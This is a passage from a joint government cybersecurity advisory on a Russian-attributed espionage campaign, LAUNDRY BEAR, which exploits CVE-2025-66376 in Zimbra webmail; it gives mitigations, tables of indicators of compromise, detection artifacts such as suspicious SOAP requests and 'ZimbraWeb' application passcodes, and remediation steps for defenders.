<p>All organizations that use the ZCS webmail service should <strong>immediately prioritize</strong> ensuring that their ZCS is not running a vulnerable version. A patch for <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a> was released for both 10.1.13 and 10.0.18 versions of ZCS [<a href="https://d3fend.mitre.org/technique/d3f:ApplicationHardening">D3-AH</a>]. If immediate patching is not feasible, organizations should advise employees to use alternative mail clients to access email and avoid using the Classic ZCS webmail client until ZCS is updated to a non-vulnerable version [<a href="https://d3fend.mitre.org/tactic/d3f:Isolate/" target="_blank">d3f:Isolate</a>].</p>
<p>System administrators should closely monitor any Internet-connected ZCS or other email systems and the workstations that access those systems and promptly apply available software updates [<a href="https://d3fend.mitre.org/technique/d3f:ApplicationHardening" target="_blank">D3-AH</a>]. Administrators can maintain awareness of active vulnerability exploitation by referencing open source resources, including <a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog">CISA’s Known Exploited Vulnerabilities Catalog</a> and <a href="https://www.ncsc.gov.uk/collection/vulnerability-management/guidance/responding-to-active-exploitation" target="_blank">NCSC-UK’s Responding to active exploitation of vulnerabilities</a> guidance.</p>
<p>Organizations should consider using a third-party authentication service that supports passkeys for authentication to mediate access to ZCS and other services that do not natively support passkeys. By doing so, organizations can work to eliminate the possibility of automated password collection from autocomplete or password reuse [<a href="https://d3fend.mitre.org/technique/d3f:CredentialHardening" target="_blank">D3-CH</a>]. However, Application Passcodes may still be necessary and should be monitored closely.  </p>
<p>Organizations should implement network monitoring capabilities with collection and short-term retention of packet capture or NetFlow data and maintain log collection and storage [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#MaintainLogCollectionStorage3Q">CPG 3.Q</a>]. This will allow organizations to monitor for and identify suspicious network activity [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#IdentifyAdverseEvents4B">CPG 4.B</a>], such as:</p>
<ul>
<li>Significant amounts of outbound data being sent to IPs associated with VPS providers not used by the organization [<a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficAnalysis" target="_blank">D3-NTA</a>];</li>
<li>Frequent DNS queries for a suspicious domain with seemingly random subdomains [<a href="https://d3fend.mitre.org/technique/d3f:DNSTrafficAnalysis" target="_blank">D3-DNSTA</a>];</li>
<li>A sudden spike of connections to a server associated with a recently established domain [<a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficCommunityDeviation">D3-NTCD</a>]; and  </li>
<li>Connections to internal services, such as webmail, from VPN providers frequently leveraged by this group for nefarious activity, such as Mullvad VPN [<a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficCommunityDeviation">D3-NTCD</a>].</li>
</ul>
<p>Additionally, for organizations that can inspect the content of outbound HTTPS connections via break-and-inspect infrastructure, security teams should identify traffic matching the characteristics described in the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section of this advisory.</p>
<h3><em><strong>Indicators of compromise (IOCs)</strong></em><a class="ck-anchor"></a></h3>
<h4><strong>Flowerbed infrastructure</strong></h4>
<p>The following indicators have been attributed to use by LAUNDRY BEAR for their campaign targeting ZCS’s webmail service as of the publication of this advisory. (<strong>Disclaimer: </strong>Due to the frequency of operational structure changes by this group, these indicators are intended solely for historic attribution purposes. Some indicators, such as IPs, compromised emails, and domains, may be outdated, so organizations should check for current activity before acting on these IOCs.) <a href="https://www.cisa.gov/#table7"><strong>Table 7</strong></a> provides details about the server infrastructure used to host Flowerbed, and <a href="https://www.cisa.gov/#table8"><strong>Table 8</strong></a> lists the corresponding SHA-1 hash values for the Let’s Encrypt certificates used by that infrastructure [<a href="https://d3fend.mitre.org/technique/d3f:IdentifierActivityAnalysis" target="_blank">D3-IAA</a>].</p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 7: Flowerbed server infrastructure</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p><strong>Domain </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p><strong>IP Address </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p><strong>First Seen </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p><strong>Last Seen </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>zmailanalytics[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>216.252.238[.]104 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>8 July 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>15 October 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>zimbra-metadata[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>216.252.238[.]18 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>20 August 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>14 October 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>analyticemailmeter[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>37.120.247[.]228 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>24 September 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>emailanalytics.com[.]ua </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>185.86.79[.]95 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>24 September 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>mailnalysis[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>104.248.134[.]194 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>11 November 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>17 February 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>zimbrastat[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>64.226.124[.]190 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 December 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>zimbrasoft.com[.]ua </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>193.238.152[.]66 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>20 January 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>synacorzimbra[.]nl </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>216.252.238[.]64 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>3 February 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>30 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>istc-cloud[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>194.156.103[.]193 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>5 February 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>30 March 2026 </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 8: Flowerbed X.509 certificate SHA-1 hashes  </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p><strong>Associated Domain </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p><strong>X.509 SHA-1 Hash </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p><strong>First Seen </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p><strong>Last Seen </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>zmailanalytics[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>2e4f314bc9943cab5005d6fde0b271c74d47bc9d </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>8 Jul 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>6 Aug 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.zmailanalytics[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>50a87d926621dd06389ba50d86e0ff574ed713a8 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>6 Aug 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>13 Oct 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.zimbra-metadata[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>c5a72420e7bb308d078e62128430897f82194c95 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>20 Aug 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>14 Oct 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.analyticemailmeter[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>8959c4d29e29f02ea94ea8bb21c8df2594c5549d </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>24 Sep 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>8 Nov 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.emailanalytics.com[.]ua </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>62eb76432597694edb01c1fe57aab0cfe03a7178 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>25 Sep 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>27 Sep 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.mailnalysis[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>cddf5c3be1e07f28140aed165b929bf2d614922a </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>12 Nov 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>17 Dec 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.zimbrastat[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>18b3ad442ce73cc8656d51d75bbd7c855f2cb7e8 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>18 Dec 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>28 Dec 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.zimbrasoft.com[.]ua </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>1b25041ececf2457eef0270fc1d785cec8ec9ded </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>21 Jan 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>10 Feb 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.synacorzimbra[.]nl </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>e4fe6466a4f9a4249fe330651e914e45bbdca44a </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>5 Feb 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>22 Mar 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.istc-cloud[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>b6b77c9a455225d525834a403ca9ef5481ed0447 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>12 Feb 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>30 Mar 2026 </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p>LAUNDRY BEAR has used the following email addresses to procure resources used for this campaign:</p>
<ul>
<li>ivanka.zurabishvili@proton[.]me,</li>
<li>zmul1@buildandconsulting[.]com,</li>
<li>garrysmithme@pinmx[.]net, and</li>
<li>hostingclient@pinmx[.]net.</li>
</ul>
<h4><strong>Phishing distribution</strong></h4>
<p>LAUNDRY BEAR primarily relied on ProtonMail for distribution of malicious email. However, as stated above, LAUNDRY BEAR’s more recent efforts likely have shifted to distributing the payload through previous victims.  </p>
<p>The following email addresses have distributed payloads attributed to this campaign:</p>
<ul>
<li>c.laurent.ejfa@proton[.]me,</li>
<li>j.moreau.epsc@proton[.]me,</li>
<li>liberty.insights@proton[.]me,</li>
<li>certain email addresses (presumably compromised) at the isofts.kiev[.]ua domain (i.e., ending with @isofts.kiev[.]ua), and</li>
<li>certain email addresses (presumably compromised) at the navs.edu[.]ua domain (i.e., ending with @navs.edu[.]ua).</li>
</ul>
<p>Additionally, the following are SHA-256 hashes of email samples containing the malicious payload attributed to this campaign:</p>
<ul>
<li>98df604ecc57f884a2e6ce3266a0013ad64455cac48442c2312cfa4765007aaf,</li>
<li>60db9abae75cd8ccc49dd7ea5feb41677566dcd442f12ebc5745ffd2810fb874,</li>
<li>b1f5beb1175fc5c7d1806a2f0d900eb124c54f0286c5c52b66eea7a6633adb1d, and</li>
<li>1517b3caa495f6c4e832df9c75fc94667e3c233773f7fa4e056d5e30e5ead760.</li>
</ul>
<h4><strong>Post-compromise artifacts</strong></h4>
<p>Currently, the script does not remove artifacts. This leaves additional opportunities to identify victims of this activity. While emphasis should always be placed on consistent monitoring of network traffic and endpoint activity, there are a variety of persistent artifacts described below that can be used to identify victims of this campaign.</p>
<p>This <em>Ulej </em>capability relies on creating a significant number of SOAP requests to collect account information for exfiltration. ZCS logs from these requests are stored, by default, in the <em>/opt/zimbra/log/mailbox.log</em> file [<a href="https://d3fend.mitre.org/technique/d3f:ProcessAnalysis" target="_blank">D3-PA</a>]. A significant amount of SOAP request activity that aligns with what was described in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> and <a href="https://www.cisa.gov/#collection1">Collection</a> sections of this advisory could indicate a potential compromise. Specific examples of high-risk SOAP request activity might include:</p>
<ul>
<li>Many <em>SearchGalRequest </em>command requests from a single user over a short period of time;</li>
<li>Use of the <em>CreateAppSpecificPasswordRequest</em> command, especially in cases where it is creating an Application Passcode named “ZimbraWeb”; and</li>
<li>Use of the GetScratchCodesRequest command.</li>
</ul>
<p>While LAUNDRY BEAR uses the localStorage property to track what days had emails previously exfiltrated, defenders can use this property to identify victims of this campaign and determine the scope of exfiltrated information [<a href="https://d3fend.mitre.org/technique/d3f:ProcessAnalysis" target="_blank">D3-PA</a>]. Review of the items stored in that property for an organization’s ZCS webmail client page on an endpoint device could indicate compromise if there are items named with a format of <em>zd_comp_YYYY-MM-DD,</em> as explained in the <a href="https://www.cisa.gov/#collection1">Collection</a> section of this advisory.</p>
<p>While Application Passcodes have non-malicious purposes, in this case instances of these passcodes with the name “ZimbraWeb” are almost certainly malicious. The ZCS webmail application can support 2FA natively and does not require the use of an Application Passcode, so there is no reason that there should be one named “ZimbraWeb.”</p>
<p>In instances where organizations identify victims of this campaign, they should also examine the inbox of the suspected victim for the original phishing email [<a href="https://d3fend.mitre.org/technique/d3f:MessageAnalysis" target="_blank">D3-MA</a>]. If an email that has a payload exploiting <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376">CVE-2025-66376</a> is discovered, <strong>steps should be taken immediately to identify and quarantine other instances of emails with similar body content, senders, and subject lines to prevent further exploitation and exfiltration.  </strong></p>
<h3><em><strong>Remediation</strong></em></h3>
<p>In the event an organization identifies activity associated with this campaign, that organization should take steps to minimize further exploitation. The organization should consider requesting that employees minimize use of the ZCS webmail client until the organization updates to a patched version that is not vulnerable to <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a>.</p>
<p>Organizations should use identifiers from the <a href="https://www.cisa.gov/#ioc1">IOCs</a> section of this report to identify any individuals compromised by this campaign and record the date(s) of compromise(s) to determine the scale and scope of emails exfiltrated.</p>
<p>All users from the organization should have all Application Passcodes and 2FA scratch keys revoked. Affected organizations should require all employees to change passwords in line with establishing minimum password strength requirements [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#EstablishMinimumPasswordStrength3B">CPG 3.B</a>] and creating unique credentials [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#CreateUniqueCredentials3C">CPG 3.C</a>], specifically noting that compromised employees might have had any password stored in a password manager exfiltrated.</p>
<h2><strong>Works cited</strong></h2>
<p>[1<a class="ck-anchor"></a>] Netherlands General Intelligence and Security Service (AIVD) and Netherlands Defence Intelligence and Security Service (MIVD). AIVD and MIVD identify a new Russian cyber threat actor. 2025. <a href="https://www.aivd.nl/site/binaries/site-content/collections/documents/2025/05/27/aivd-en-mivd-onderkennen-nieuwe-russische-cyberactor/Advisory+AIVD+en+MIVD+Public+report+on+new+cyber+actor.pdf" target="_blank">https://www.aivd.nl/site/binaries/site-content/collections/documents/2025/05/27/aivd-en-mivd-onderkennen-nieuwe-russische-cyberactor/Advisory+AIVD+en+MIVD+Public+report+on+new+cyber+actor.pdf</a></p>
<p>[2]<a class="ck-anchor"></a> Microsoft Corporation. New Russia-affiliated actor Void Blizzard targets critical sectors for espionage. 2025. <a href="https://www.microsoft.com/en-us/security/blog/2025/05/27/new-russia-affiliated-actor-void-blizzard-targets-critical-sectors-for-espionage/" target="_blank">https://www.microsoft.com/en-us/security/blog/2025/05/27/new-russia-affiliated-actor-void-blizzard-targets-critical-sectors-for-espionage/</a></p>
<p>[3]<a class="ck-anchor"></a> Palo Alto Networks Unit 42. Russian Global Webmail Espionage. 2026. <a href="https://unit42.paloaltonetworks.com/russian-webmail-espionage/">https://unit42.paloaltonetworks.com/russian-webmail-espionage/ </a></p>
<p>[4]<a class="ck-anchor"></a> Proofpoint. TA488 Targets Zimbra Mailservers with Half-Click Exploits. 2026. <a href="https://www.proofpoint.com/us/blog/threat-insight/ta488-zcs-exploit">https://www.proofpoint.com/us/blog/threat-insight/ta488-zcs-exploit</a></p>
<p>[5]<a class="ck-anchor"></a> Seqrite. Operation GhostMail: Russian APT exploits Zimbra Webmail to Target Ukraine State Agency. 2026. <a href="https://www.seqrite.com/blog/operation-ghostmail-zimbra-xss-russian-apt-ukraine/" target="_blank">https://www.seqrite.com/blog/operation-ghostmail-zimbra-xss-russian-apt-ukraine/  </a></p>
<h2><strong>Footnotes</strong></h2>
<p><sup>1</sup><a class="ck-anchor"></a> Národní úřad pro kybernetickou a informační bezpečnost<br><sup>2</sup><a class="ck-anchor"></a><sup> </sup>Forsvarets Efterretningstjeneste<br><sup>3</sup><a class="ck-anchor"></a><sup> </sup>Välisluureamet<br><sup>4</sup><a class="ck-anchor"></a> Sotilastiedustelu<br><sup>5</sup><a class="ck-anchor"></a><sup> </sup> Suojelupoliisi<br><sup>6</sup><a class="ck-anchor"></a> Direction générale de la sécurité intérieure<br><sup>7</sup><a class="ck-anchor"></a> Agence nationale de la sécurité des systèmes d’information<br><sup>8</sup><a class="ck-anchor"></a> Agenzia Informazioni e Sicurezza Esterna<br><sup>9</sup><a class="ck-anchor"></a> Agenzia Informazioni e Sicurezza Interna<br><sup>10</sup><a class="ck-anchor"></a> Serviciul de Informații și Securitate al Republicii Moldova<br><sup>11 </sup><a class="ck-anchor"></a>Agencja Wywiadu<br><sup>12</sup><a class="ck-anchor"></a><sup> </sup>Służba Kontrwywiadu Wojskowego<br><sup>13</sup><a class="ck-anchor"></a><sup> </sup>Centro Nacional de Inteligencia<br><sup>14 </sup><a class="ck-anchor"></a>Nationellt Cybersäkerhetscenter<br><sup>15</sup><a class="ck-anchor"></a> MITRE and ATT&amp;CK are registered trademarks of The MITRE Corporation. MITRE D3FEND is a trademark of The MITRE Corporation.</p>
<h2><strong>Acknowledgements</strong></h2>
<p>The authoring agencies acknowledge the contributions to this advisory from Palo Alto Networks Unit 42 and Proofpoint.</p>
<h2><strong>Disclaimer of endorsement</strong></h2>
<p>The information and opinions contained in this document are provided "as is" and without any warranties or guarantees. Reference herein to any specific commercial products, process, or service by trade name, trademark, manufacturer, or otherwise, does not constitute or imply its endorsement, recommendation, or favoring by the United States Government, and this guidance shall not be used for advertising or product endorsement purposes.</p>
<p>Organizations have no obligation to respond or provide information back to the authoring organizations in response to this joint advisory. If, after reviewing the information provided, an organization decides to provide information to the authoring organizations, reporting must be consistent with all applicable laws and policies.</p>
<h2><strong>Purpose</strong></h2>
<p>This document was developed in furtherance of the authoring agencies’ cybersecurity missions, including their responsibilities to identify and disseminate threats, and to develop and issue cybersecurity specifications and mitigations. This information may be shared broadly to reach all appropriate stakeholders.</p>
<h2><strong>Contact</strong></h2>
<div class="SCXW95230887 BCX8">
<div class="OutlineElement Ltr SCXW95230887 BCX8">
<p><strong>United States organizations </strong></p>
<ul>
<li><strong>National Security Agency</strong> <br>Cybersecurity Report Feedback: <a href="mailto:CybersecurityReports@nsa.gov" target="_blank"><u>CybersecurityReports@nsa.gov</u></a> <br>Defense Industrial Base Inquiries and Cybersecurity Services: <a href="mailto:DIB_Defense@cyber.nsa.gov" target="_blank"><u>DIB_Defense@cyber.nsa.gov</u></a> <br>Media Inquiries / Press Desk: NSA Media Relations: 443-634-0721, <a href="mailto:MediaRelations@nsa.gov" target="_blank"><u>MediaRelations@nsa.gov</u></a> </li>
<li><strong>Cybersecurity and Infrastructure Security Agency</strong> <br>CISA’s 24/7 Operations Center (<a href="mailto:contact@cisa.dhs.gov" target="_blank"><u>contact@cisa.dhs.gov</u></a>), or by calling 1-844-Say-CISA (1-844-729-2472). </li>
<li><strong>Federal Bureau of Investigation</strong> <br>If you or someone you know has fallen victim to this campaign, file a complaint with <a class="Hyperlink SCXW95230887 BCX8" href="https://www.ic3.gov/" target="_blank" rel="noreferrer noopener"><u>IC3</u></a>. </li>
